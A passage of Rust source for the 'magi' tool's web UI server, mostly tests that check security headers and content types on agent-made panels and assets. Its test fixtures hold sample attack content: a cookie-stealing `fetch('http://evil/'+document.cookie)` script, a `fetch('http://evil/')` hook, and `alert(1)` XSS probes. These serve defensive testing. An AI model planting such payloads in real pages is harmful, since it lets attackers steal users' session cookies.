7031        Some("image/webp")
7032    } else {
7033        None
7034    }
7035}
7036
7037/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
7038/// display - see [`talk::Attachment::name`]'s doc on why it never
7039/// contributes to a path. A missing or blank header (curl without it, an
7040/// older front end) falls back to a generic name rather than refusing the
7041/// upload over a field that is cosmetic.
7042fn filename_header(headers: &HeaderMap) -> String {
7043    headers
7044        .get(FILENAME_HEADER)
7045        .and_then(|v| v.to_str().ok())
7046        .map(str::trim)
7047        .filter(|s| !s.is_empty())
7048        .unwrap_or("attachment")
7049        .to_owned()
7050}
7051
7052/// Every attachment `GET` response: the mime re-validated against the same
7053/// closed whitelist the upload route enforces - never the string trusted
7054/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
7055/// cannot decide it knows better than the type we send. Unlike a panel asset
7056/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
7057/// document renders inline, not agent-authored HTML in a sandboxed frame.
7058fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7059    let content_type = ATTACHMENT_MIME_WHITELIST
7060        .iter()
7061        .find(|&&m| m == mime)
7062        .copied()
7063        .unwrap_or("application/octet-stream");
7064    (
7065        [
7066            (header::CONTENT_TYPE, content_type),
7067            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7068        ],
7069        body,
7070    )
7071        .into_response()
7072}
7073
7074/// The configuration for a repository, read off the disk for this request.
7075///
7076/// Through [`blocking`] because discovery reads and merges several TOML files,
7077/// and because the alternative - caching it in [`Ui`] at startup - would mean
7078/// the operator's phone kept interviewing with a roster they had already
7079/// changed, with no way to reload it but restarting the server they are not
7080/// sitting in front of.
7081async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7082    let repo = repo.to_path_buf();
7083    blocking(move || {
7084        let (cfg, _) = Config::discover(&repo, None)?;
7085        Ok(cfg)
7086    })
7087    .await
7088}
7089
7090/// The one prefix rule, used for both runs and tasks: a leading match for a
7091/// full id, a trailing match for the short form an operator reads off a
7092/// report. Written here rather than borrowed from `queue::resolve_id` because
7093/// the UI needs the two failures as different status codes, and telling them
7094/// apart from an error message is not something to build a route on.
7095fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7096    let mut hits = ids
7097        .into_iter()
7098        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7099    match (hits.next(), hits.next()) {
7100        (Some(one), None) => Ok(one),
7101        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7102        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7103            "`{prefix}` matches more than one {what}, including {a} and {b}"
7104        ))),
7105    }
7106}
7107
7108#[cfg(test)]
7109mod tests {
7110
7111    #[test]
7112    fn holder_reads_the_lease_not_the_record() {
7113        let mut q = Question::new(
7114            "run".to_owned(),
7115            "implement".to_owned(),
7116            "impl-A".to_owned(),
7117            "which?".to_owned(),
7118            String::new(),
7119            Vec::new(),
7120        );
7121        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7122        q.cwd = Some("/tmp".to_owned());
7123        assert_eq!(holder_of(&q, None), Some("nobody"));
7124        let beat = |kind, ago: i64| ask::Lease {
7125            kind,
7126            pid: 1,
7127            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7128                .unwrap(),
7129        };
7130        let fresh = beat(ask::WaiterKind::Asker, 1);
7131        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7132        let daemon = beat(ask::WaiterKind::Daemon, 1);
7133        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7134        let stale = beat(ask::WaiterKind::Asker, 3600);
7135        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7136
7137        // A conductor question says "deputy" only while one is attached and
7138        // alive, and "nobody" - never silence - when nothing ever listened.
7139        let mut c = Question::new(
7140            "task".to_owned(),
7141            crate::conduct::NODE.to_owned(),
7142            "conduct".to_owned(),
7143            "which?".to_owned(),
7144            String::new(),
7145            Vec::new(),
7146        );
7147        assert_eq!(holder_of(&c, None), Some("nobody"));
7148        c.cwd = Some("/tmp".to_owned());
7149        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7150        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7151        let deputy = beat(ask::WaiterKind::Deputy, 1);
7152        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7153        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7154
7155        // A release-watch question: nobody until a deputy is attached.
7156        let mut r = Question::new(
7157            String::new(),
7158            crate::bump::NOTICE_NODE.to_owned(),
7159            "release-watch".to_owned(),
7160            "stuck?".to_owned(),
7161            String::new(),
7162            vec!["hold".to_owned()],
7163        );
7164        assert_eq!(holder_of(&r, None), Some("nobody"));
7165        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7166        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7167        // A choice-less bump notice is nobody's question at all.
7168        r.deputy = None;
7169        r.seat = "bump".to_owned();
7170        assert_eq!(holder_of(&r, None), None);
7171
7172        // A merge approval is the same: nobody until a deputy is attached
7173        // and alive, never a silent "no holder".
7174        let mut m = Question::new(
7175            "run".to_owned(),
7176            crate::land::APPROVAL_NODE.to_owned(),
7177            "land".to_owned(),
7178            "merge?".to_owned(),
7179            String::new(),
7180            Vec::new(),
7181        );
7182        assert_eq!(holder_of(&m, None), Some("nobody"));
7183        assert_eq!(
7184            holder_of(&m, Some(&fresh)),
7185            Some("nobody"),
7186            "a lease with no deputy is not a listener"
7187        );
7188        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7189        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7190        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7191        assert_eq!(holder_of(&m, None), Some("nobody"));
7192    }
7193
7194    fn stub_config() -> Config {
7195        // An explicit roster, so the result never depends on which agent CLIs
7196        // this machine has installed.
7197        Config {
7198            agents: vec![crate::config::AgentSpec {
7199                id: "stub".to_owned(),
7200                kind: AgentKind::Command,
7201                model: None,
7202                command: vec!["true".to_owned()],
7203                extra_args: Vec::new(),
7204                env: Default::default(),
7205                prompt_delivery: None,
7206            }],
7207            ..Config::default()
7208        }
7209    }
7210
7211    fn plain_question(seat: &str) -> Question {
7212        Question::new(
7213            String::new(),
7214            "n".to_owned(),
7215            seat.to_owned(),
7216            "s".to_owned(),
7217            String::new(),
7218            Vec::new(),
7219        )
7220    }
7221
7222    #[test]
7223    fn deputies_enabled_follows_the_config() {
7224        let on = stub_config();
7225        assert!(crate::deputy::can_start(Some(&on), ""));
7226        assert!(crate::deputy::can_start(Some(&on), "stub"));
7227        let mut off = on.clone();
7228        off.daemon.max_deputies = 0;
7229        assert!(!crate::deputy::can_start(Some(&off), ""));
7230        let mut empty = on;
7231        empty.agents.clear();
7232        assert!(!crate::deputy::can_start(Some(&empty), ""));
7233        assert!(!crate::deputy::can_start(None, ""));
7234    }
7235
7236    #[test]
7237    fn question_views_load_the_config_once() {
7238        let dir = TempDir::new().unwrap();
7239        let store = ask::Questions::at(dir.path().to_path_buf());
7240        let mut with_deputy = plain_question("b");
7241        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7242        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7243
7244        let calls = std::cell::Cell::new(0usize);
7245        let views = question_views(qs.clone(), &store, || {
7246            calls.set(calls.get() + 1);
7247            Some(stub_config())
7248        });
7249        assert_eq!(calls.get(), 1);
7250        assert_eq!(views.len(), 3);
7251        for (v, q) in views.iter().zip(&qs) {
7252            assert_eq!(
7253                v.deputies_enabled,
7254                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7255            );
7256        }
7257
7258        let views = question_views(qs, &store, || None);
7259        assert!(views.iter().all(|v| !v.deputies_enabled));
7260
7261        let calls = std::cell::Cell::new(0usize);
7262        let views = question_views(Vec::new(), &store, || {
7263            calls.set(calls.get() + 1);
7264            None
7265        });
7266        assert!(views.is_empty());
7267        assert_eq!(calls.get(), 0);
7268    }
7269
7270    use pretty_assertions::assert_eq;
7271    use serde_json::Value;
7272    use tempfile::TempDir;
7273    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7274
7275    use super::*;
7276    use crate::config::Config;
7277    use crate::queue::Source;
7278
7279    /// How many 10ms steps a settle loop takes before it calls a stall a
7280    /// stall - thirty seconds.
7281    ///
7282    /// These loops wait on real `sh` subprocesses, and the machine that runs
7283    /// the gate runs several suites at once, so a two-second budget was not
7284    /// waiting for the reply, it was racing the scheduler: two of these
7285    /// tests failed under that load with the turn simply not landed yet.
7286    /// This is a hang guard, not a latency assertion - every loop breaks the
7287    /// moment its condition holds, so a generous cap costs an idle machine
7288    /// nothing and still fails a genuine hang instead of hanging the suite.
7289    const SETTLE_STEPS: usize = 3_000;
7290
7291    /// A home with a queue and a runs directory, and a router serving it on
7292    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
7293    /// dependency, not ours - so the tests drive a real socket, which has the
7294    /// side benefit of asserting the status line and content types the phone
7295    /// actually receives.
7296    struct Fixture {
7297        home: TempDir,
7298        addr: SocketAddr,
7299    }
7300
7301    impl Fixture {
7302        async fn start() -> Self {
7303            Self::with_loop(launch_idle).await
7304        }
7305
7306        /// A fixture whose loop is `launch`.
7307        async fn with_loop(launch: Launch) -> Self {
7308            let home = TempDir::new().expect("temp home");
7309            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7310            Self { home, addr }
7311        }
7312
7313        /// A fixture whose `ui.repo` is a real directory rather than the
7314        /// usual placeholder - for the routes that read config off it
7315        /// (`GET /api/repos`) and would otherwise have nothing to discover.
7316        async fn with_repo(repo: PathBuf) -> Self {
7317            let home = TempDir::new().expect("temp home");
7318            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7319            Self { home, addr }
7320        }
7321
7322        /// As [`Fixture::with_repo`], with the machine-config file the
7323        /// settings screen reads and writes.
7324        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7325            let home = TempDir::new().expect("temp home");
7326            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7327            Self { home, addr }
7328        }
7329
7330        async fn serve(
7331            home: &FsPath,
7332            repo: PathBuf,
7333            launch: Launch,
7334            machine: Option<PathBuf>,
7335        ) -> SocketAddr {
7336            let queue = Queue::at(home.join("queue"));
7337            let runs = home.join("runs");
7338            std::fs::create_dir_all(&runs).expect("runs dir");
7339            let worktrees = home.join("wt").join("magi");
7340            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7341            let ui = Ui::new(
7342                queue,
7343                Questions::at(home.join("questions")),
7344                Talks::at(home.join("talks")),
7345                runs,
7346                home.to_path_buf(),
7347                repo,
7348            )
7349            .with_worktrees_root(worktrees)
7350            .with_machine_config(machine)
7351            .with_launch(launch);
7352            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7353                .await
7354                .expect("bind loopback");
7355            let addr = listener.local_addr().expect("local addr");
7356            tokio::spawn(async move {
7357                let _ = axum::serve(listener, ui.router()).await;
7358            });
7359            addr
7360        }
7361
7362        fn queue(&self) -> Queue {
7363            Queue::at(self.home.path().join("queue"))
7364        }
7365
7366        fn questions(&self) -> Questions {
7367            Questions::at(self.home.path().join("questions"))
7368        }
7369
7370        fn talks(&self) -> Talks {
7371            Talks::at(self.home.path().join("talks"))
7372        }
7373
7374        fn runs(&self) -> PathBuf {
7375            self.home.path().join("runs")
7376        }
7377
7378        async fn get(&self, path: &str) -> Res {
7379            request(self.addr, "GET", path, None).await
7380        }
7381
7382        /// The status and headers without the body, which is how the front end
7383        /// preflights a panel: a sandboxed frame is opaque to the parent
7384        /// document, so the only way to tell "no panel" from "a panel that
7385        /// rendered blank" is to ask before mounting.
7386        async fn head(&self, path: &str) -> Res {
7387            request(self.addr, "HEAD", path, None).await
7388        }
7389
7390        async fn post(&self, path: &str, body: Option<&str>) -> Res {
7391            request(self.addr, "POST", path, body).await
7392        }
7393
7394        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7395            request_with(self.addr, "GET", path, None, extra).await
7396        }
7397
7398        async fn delete(&self, path: &str) -> Res {
7399            request(self.addr, "DELETE", path, None).await
7400        }
7401
7402        async fn put(&self, path: &str, body: &str) -> Res {
7403            request(self.addr, "PUT", path, Some(body)).await
7404        }
7405
7406        /// `POST` a raw body with its own headers - see [`request_bytes`].
7407        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7408            request_bytes(self.addr, path, headers, body).await
7409        }
7410    }
7411
7412    struct Res {
7413        status: u16,
7414        headers: String,
7415        /// The header block with its original casing, for the assertions that
7416        /// compare a header *value* rather than looking for a name. Lowercasing
7417        /// a CSP would hide a directive spelled with a capital letter, and the
7418        /// whole point of that test is that the string is exactly right.
7419        head: String,
7420        body: String,
7421        /// The body before any UTF-8 handling, for the routes that serve
7422        /// something other than text. A panel asset is a PNG as often as not,
7423        /// and `from_utf8_lossy` would silently replace half of it.
7424        bytes: Vec<u8>,
7425    }
7426
7427    impl Res {
7428        fn json(&self) -> Value {
7429            serde_json::from_str(&self.body)
7430                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7431        }
7432
7433        /// One header's value verbatim, or `None` when it was not sent.
7434        fn header(&self, name: &str) -> Option<&str> {
7435            self.head.lines().find_map(|line| {
7436                let (key, value) = line.split_once(':')?;
7437                key.trim()
7438                    .eq_ignore_ascii_case(name)
7439                    .then(|| value.trim_start().trim_end_matches('\r'))
7440            })
7441        }
7442    }
7443
7444    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
7445    /// be read to end-of-stream without parsing framing.
7446    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7447        request_with(addr, method, path, body, &[]).await
7448    }
7449
7450    /// As [`request`], with extra request headers - conditional GETs need
7451    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
7452    /// worse than one that sets none.
7453    async fn request_with(
7454        addr: SocketAddr,
7455        method: &str,
7456        path: &str,
7457        body: Option<&str>,
7458        extra: &[(&str, &str)],
7459    ) -> Res {
7460        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7461        for (name, value) in extra {
7462            head.push_str(&format!("{name}: {value}\r\n"));
7463        }
7464        if let Some(body) = body {
7465            head.push_str("Content-Type: application/json\r\n");
7466            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7467        }
7468        head.push_str("\r\n");
7469        if let Some(body) = body {
7470            head.push_str(body);
7471        }
7472        let mut socket = tokio::net::TcpStream::connect(addr)
7473            .await
7474            .expect("connect to the test server");
7475        socket
7476            .write_all(head.as_bytes())
7477            .await
7478            .expect("write request");
7479        let mut raw = Vec::new();
7480        socket.read_to_end(&mut raw).await.expect("read response");
7481        // Split on the raw bytes rather than on a lossy string, so a binary
7482        // body survives to be compared byte for byte.
7483        let split = raw
7484            .windows(4)
7485            .position(|w| w == b"\r\n\r\n")
7486            .expect("a header block");
7487        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7488        let bytes = raw[split + 4..].to_vec();
7489        let status = head
7490            .lines()
7491            .next()
7492            .and_then(|line| line.split_whitespace().nth(1))
7493            .and_then(|code| code.parse().ok())
7494            .expect("a status line");
7495        Res {
7496            status,
7497            headers: head.to_lowercase(),
7498            head,
7499            body: String::from_utf8_lossy(&bytes).into_owned(),
7500            bytes,
7501        }
7502    }
7503
7504    /// A `POST` carrying a raw binary body and its own headers, for the
7505    /// attachment upload route - `request_with` only ever sends
7506    /// `Content-Type: application/json`, which is wrong for an image and
7507    /// would corrupt anything not valid UTF-8 by round-tripping it through
7508    /// `&str` first.
7509    async fn request_bytes(
7510        addr: SocketAddr,
7511        path: &str,
7512        headers: &[(&str, &str)],
7513        body: &[u8],
7514    ) -> Res {
7515        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7516        for (name, value) in headers {
7517            head.push_str(&format!("{name}: {value}\r\n"));
7518        }
7519        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7520        let mut socket = tokio::net::TcpStream::connect(addr)
7521            .await
7522            .expect("connect to the test server");
7523        socket
7524            .write_all(head.as_bytes())
7525            .await
7526            .expect("write request head");
7527        socket.write_all(body).await.expect("write request body");
7528        let mut raw = Vec::new();
7529        socket.read_to_end(&mut raw).await.expect("read response");
7530        let split = raw
7531            .windows(4)
7532            .position(|w| w == b"\r\n\r\n")
7533            .expect("a header block");
7534        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7535        let bytes = raw[split + 4..].to_vec();
7536        let status = head
7537            .lines()
7538            .next()
7539            .and_then(|line| line.split_whitespace().nth(1))
7540            .and_then(|code| code.parse().ok())
7541            .expect("a status line");
7542        Res {
7543            status,
7544            headers: head.to_lowercase(),
7545            head,
7546            body: String::from_utf8_lossy(&bytes).into_owned(),
7547            bytes,
7548        }
7549    }
7550
7551    /// A run on disk, without touching the process-global magi home.
7552    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7553        let mut state = RunState::new(
7554            PathBuf::from("/repo/magi"),
7555            "main".to_owned(),
7556            "0123456789abcdef".to_owned(),
7557            "Add a web UI\n\nMobile first.".to_owned(),
7558            Config::default(),
7559        );
7560        state.id = id.to_owned();
7561        state.status = status;
7562        let dir = runs.join(id);
7563        std::fs::create_dir_all(&dir).expect("run dir");
7564        std::fs::write(
7565            dir.join("run.json"),
7566            serde_json::to_string_pretty(&state).expect("serialize run"),
7567        )
7568        .expect("write run.json");
7569    }
7570
7571    /// Same as [`write_run`], but against a named repository rather than the
7572    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
7573    /// spread across more than one.
7574    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7575        let mut state = RunState::new(
7576            PathBuf::from(repo),
7577            "main".to_owned(),
7578            "0123456789abcdef".to_owned(),
7579            "task".to_owned(),
7580            Config::default(),
7581        );
7582        state.id = id.to_owned();
7583        state.status = status;
7584        let dir = runs.join(id);
7585        std::fs::create_dir_all(&dir).expect("run dir");
7586        std::fs::write(
7587            dir.join("run.json"),
7588            serde_json::to_string_pretty(&state).expect("serialize run"),
7589        )
7590        .expect("write run.json");
7591    }
7592
7593    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7594        let body = serde_json::json!({
7595            "schema": 1,
7596            "pid": 4242,
7597            "started_at": Timestamp::now().to_string(),
7598            "updated_at": updated_at.to_string(),
7599            "idle": false,
7600            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7601            "completed": 7,
7602            "polls": 143,
7603        });
7604        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7605    }
7606
7607    /// A loop that starts, finds nothing to do, and waits to be told to stop.
7608    ///
7609    /// No test in this file may start the real loop - see [`Ui::launch`] for
7610    /// why - so this stands in for the only thing the routes need a loop to
7611    /// do: keep running until `Stop` is set, then return. A real
7612    /// `serve_until` here would resolve its queue and its status file through
7613    /// the process-global magi home, claim whatever it found in the
7614    /// operator's live backlog, overwrite the status file of the `magi serve`
7615    /// that owns it, and spend real agent quota on a real competition.
7616    fn launch_idle(
7617        _opts: daemon::Opts,
7618        stop: daemon::Stop,
7619    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7620        Box::pin(async move {
7621            while !stop.stopped() {
7622                tokio::time::sleep(Duration::from_millis(2)).await;
7623            }
7624            Ok(())
7625        })
7626    }
7627
7628    /// A loop that fails on the way up, the way one whose home has gone
7629    /// read-only does.
7630    fn launch_broken(
7631        _opts: daemon::Opts,
7632        _stop: daemon::Stop,
7633    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7634        // The stand-in dies instantly, so a restarted one can record its own
7635        // failure before the start's response is read. The second attempt
7636        // therefore fails with a different message, to tell a stale error
7637        // from a fresh one.
7638        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
7639        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
7640        Box::pin(async move {
7641            Err(anyhow::anyhow!(if first {
7642                "publish the daemon status file: read-only file system"
7643            } else {
7644                "the restarted stand-in failed as well"
7645            }))
7646        })
7647    }
7648
7649    /// The address the parking loop knocks on, and what it heard there.
7650    ///
7651    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
7652    /// capture a fixture's address; this is how it is handed one. Only
7653    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
7654    /// these, so nothing else in this binary can race them.
7655    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7656    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7657
7658    /// A loop that, once it is asked to stop, checks the deck still answers
7659    /// before it goes.
7660    ///
7661    /// It stands in for a run mid-node: `finish_loop` waits for this future,
7662    /// so the request it makes is strictly inside the park window - no sleep
7663    /// and no polling needed to be sure of that.
7664    fn launch_knocking_on_the_way_out(
7665        _opts: daemon::Opts,
7666        stop: daemon::Stop,
7667    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7668        Box::pin(async move {
7669            while !stop.stopped() {
7670                tokio::time::sleep(Duration::from_millis(2)).await;
7671            }
7672            let addr = PARK_KNOCK
7673                .lock()
7674                .expect("park knock")
7675                .expect("the test set an address");
7676            let heard = request(addr, "GET", "/api/health", None).await.status;
7677            *PARK_HEARD.lock().expect("park heard") = Some(heard);
7678            Ok(())
7679        })
7680    }
7681
7682    /// The loop view once `want` accepts it.
7683    ///
7684    /// Polled rather than asserted straight after the POST because stopping
7685    /// is deliberately not instant - that is the contract - and rather than
7686    /// slept through because a fixed wait is either flaky or slow.
7687    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
7688    /// finite, so a genuine hang fails the test instead of hanging the
7689    /// suite.
7690    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7691        for _ in 0..SETTLE_STEPS {
7692            let view = fx.get("/api/loop").await.json();
7693            if want(&view) {
7694                return view;
7695            }
7696            tokio::time::sleep(Duration::from_millis(10)).await;
7697        }
7698        panic!(
7699            "the loop never settled: {}",
7700            fx.get("/api/loop").await.json()
7701        );
7702    }
7703
7704    /// File an open question directly in the store the server reads.
7705    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7706        let store = fx.questions();
7707        let mut q = Question::new(
7708            "20260902-000000-beef".to_owned(),
7709            "implement".to_owned(),
7710            "impl-A".to_owned(),
7711            summary.to_owned(),
7712            "because it matters".to_owned(),
7713            choices.iter().map(|c| (*c).to_owned()).collect(),
7714        );
7715        store.put(&mut q).expect("put question");
7716        q.id
7717    }
7718
7719    /// A question with a panel the server can serve, plus the named assets.
7720    ///
7721    /// Written through `Questions::put_panel` rather than by laying out the
7722    /// directory here, so these tests exercise the same on-disk shape the
7723    /// agents produce and cannot pass against a layout only the tests know.
7724    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7725        let store = fx.questions();
7726        let mut q = Question::new(
7727            "20260902-000000-beef".to_owned(),
7728            "land".to_owned(),
7729            "fix".to_owned(),
7730            "Merge this?".to_owned(),
7731            "the diff is in the panel".to_owned(),
7732            vec!["merge".to_owned(), "hold".to_owned()],
7733        );
7734        // Staged outside the questions root, because `put_panel` copies from
7735        // wherever the agent left its files.
7736        let staging = fx.home.path().join("staging");
7737        std::fs::create_dir_all(&staging).expect("staging dir");
7738        let sources: Vec<PathBuf> = assets
7739            .iter()
7740            .map(|(name, bytes)| {
7741                let path = staging.join(name);
7742                std::fs::write(&path, bytes).expect("write staged asset");
7743                path
7744            })
7745            .collect();
7746        store
7747            .put_panel(&mut q, html, &sources)
7748            .expect("write the panel");
7749        store.put(&mut q).expect("put question");
7750        q.id
7751    }
7752
7753    /// A talk on disk, without talking to a model.
7754    ///
7755    /// Written as JSON straight into the store the server reads, because the
7756    /// only constructor `talk::begin` offers takes no turn but still requires
7757    /// a real caller-visible flow. The one thing this cannot make up is the
7758    /// seat, so it is built with the real `SeatState::new` and serialized -
7759    /// the alternative, hand-writing that object, would make these tests fail
7760    /// the day the seat gains a field.
7761    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7762        seed_talk_at(&fx.talks(), id, status)
7763    }
7764
7765    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7766        std::fs::create_dir_all(store.root()).expect("talks dir");
7767        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7768            .expect("serialize a seat");
7769        let body = serde_json::json!({
7770            "schema": 1,
7771            "id": id,
7772            "repo": "/repo/magi",
7773            "agent": "mock",
7774            "status": status,
7775            "turns": [],
7776            "created_at": Timestamp::now().to_string(),
7777            "updated_at": Timestamp::now().to_string(),
7778            "seat": seat,
7779        });
7780        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7781        store.get(id).expect("the seeded talk has to be readable");
7782        id.to_owned()
7783    }
7784
7785    #[tokio::test]
7786    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7787        let fx = Fixture::start().await;
7788        let id = panel(
7789            &fx,
7790            "<h1>Merge?</h1><img src=\"diff.svg\">",
7791            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7792        );
7793
7794        for path in [
7795            format!("/api/questions/{id}/panel"),
7796            format!("/api/questions/{id}/asset/diff.svg"),
7797        ] {
7798            let res = fx.get(&path).await;
7799            assert_eq!(res.status, 200, "{path}: {}", res.body);
7800            // The whole string, not a substring. A weakened directive - an
7801            // `img-src *` that lets a panel beacon out to a remote host, a
7802            // `script-src` anything, a missing `form-action` that lets it post
7803            // the owner's decision to a third party - has to fail here, and a
7804            // `contains` assertion would let every one of those through.
7805            assert_eq!(
7806                res.header("content-security-policy"),
7807                Some(
7808                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7809                     font-src data:; base-uri 'none'; form-action 'none'; \
7810                     frame-ancestors 'self'"
7811                ),
7812                "{path} is the only thing between a hostile panel and the tailnet"
7813            );
7814            assert_eq!(
7815                res.header("x-content-type-options"),
7816                Some("nosniff"),
7817                "{path}: a browser must not re-decide the type we sent"
7818            );
7819            assert_eq!(
7820                res.header("referrer-policy"),
7821                Some("no-referrer"),
7822                "{path}: a panel must not leak the question id off the machine"
7823            );
7824
7825            // The front end mounts the frame only after a `HEAD` says the
7826            // panel is there, so `HEAD` has to answer with the same status and
7827            // the same policy as `GET` - a preflight that came back without
7828            // the CSP would mean a frame mounted on an unverified promise.
7829            let pre = fx.head(&path).await;
7830            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7831            assert_eq!(
7832                pre.header("content-security-policy"),
7833                res.header("content-security-policy"),
7834                "{path}: the preflight carries the same policy"
7835            );
7836            assert_eq!(
7837                pre.header("content-type"),
7838                res.header("content-type"),
7839                "{path}: the preflight carries the same type"
7840            );
7841        }
7842    }
7843
7844    #[tokio::test]
7845    async fn a_panel_reaches_the_browser_byte_for_byte() {
7846        let fx = Fixture::start().await;
7847        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
7848        // tag, an entity, and a multi-byte character. The sandbox is what makes
7849        // this safe, so nothing here may be rewritten on the way out - a
7850        // rewritten diff is a diff the owner cannot trust.
7851        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
7852        let id = panel(&fx, html, &[]);
7853
7854        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7855
7856        assert_eq!(res.status, 200);
7857        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7858        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7859        assert_eq!(
7860            res.header("content-disposition"),
7861            None,
7862            "the panel itself is rendered in the frame, not downloaded"
7863        );
7864    }
7865
7866    #[tokio::test]
7867    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7868        let fx = Fixture::start().await;
7869        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7870        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7871        let id = panel(
7872            &fx,
7873            "<img src=\"diff.svg\"><img src=\"shot.png\">",
7874            &[("diff.svg", svg), ("shot.png", png)],
7875        );
7876
7877        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7878        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7879
7880        assert_eq!(as_svg.status, 200);
7881        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7882        // An SVG is XML that may carry script. Inside the panel it is an
7883        // `<img src>` and the script cannot run; opened at the top level it
7884        // would be a document on magi's own origin, so the browser is told to
7885        // download it instead of rendering it.
7886        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7887
7888        assert_eq!(as_png.status, 200);
7889        assert_eq!(as_png.header("content-type"), Some("image/png"));
7890        assert_eq!(
7891            as_png.header("content-disposition"),
7892            None,
7893            "a raster image has no execution surface, so tapping it still shows it"
7894        );
7895        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7896    }
7897
7898    #[tokio::test]
7899    async fn an_html_asset_is_never_served_as_html() {
7900        let fx = Fixture::start().await;
7901        let id = panel(
7902            &fx,
7903            "<p>see the notes</p>",
7904            &[
7905                (
7906                    "notes.html",
7907                    b"<script>fetch('http://evil/'+document.cookie)</script>",
7908                ),
7909                ("hook.js", b"fetch('http://evil/')"),
7910                ("data.json", b"{}"),
7911                ("HEADLINE.TXT", b"plain"),
7912            ],
7913        );
7914
